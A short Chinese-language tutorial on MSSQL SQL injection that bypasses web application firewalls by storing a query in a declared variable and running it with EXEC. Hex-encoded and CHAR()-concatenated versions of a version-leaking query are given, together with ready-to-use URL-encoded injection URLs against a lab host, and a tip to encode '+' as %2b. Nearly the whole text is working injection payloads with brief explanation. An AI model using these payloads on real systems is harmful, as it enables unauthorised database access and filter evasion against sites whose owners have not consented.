引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截
select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1;declare%20@a%20nvarchar(2000)%20set%20@a='select%20convert(int,@@version)'%20exec(@a)%20--+
declare定义变量 set设置变量值 exec执行变量
变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用 把我们的语句编码一下
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
http://192.168.20.155/test.aspx?id=1;select%20*%20from%20admin%20where%20id%20=1;declare%20@s%20varchar(2000)%20set%20@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29%20exec(@s)--+
select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
http://192.168.20.155/test.aspx?id=1;select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) %2b CHAR(101) %2b CHAR(108) %2b CHAR(101) %2b CHAR(99) %2b CHAR(116) %2b CHAR(32) %2b CHAR(99) %2b CHAR(111) %2b CHAR(110) %2b CHAR(118) %2b CHAR(101) %2b CHAR(114) %2b CHAR(116) %2b CHAR(40) %2b CHAR(105) %2b CHAR(110) %2b CHAR(116) %2b CHAR(44) %2b CHAR(64) %2b CHAR(64) %2b CHAR(118) %2b CHAR(101) %2b CHAR(114) %2b CHAR(115) %2b CHAR(105) %2b CHAR(111) %2b CHAR(110) %2b CHAR(41) exec(@s)--+
‘+’号最好用url编码一下改成%2b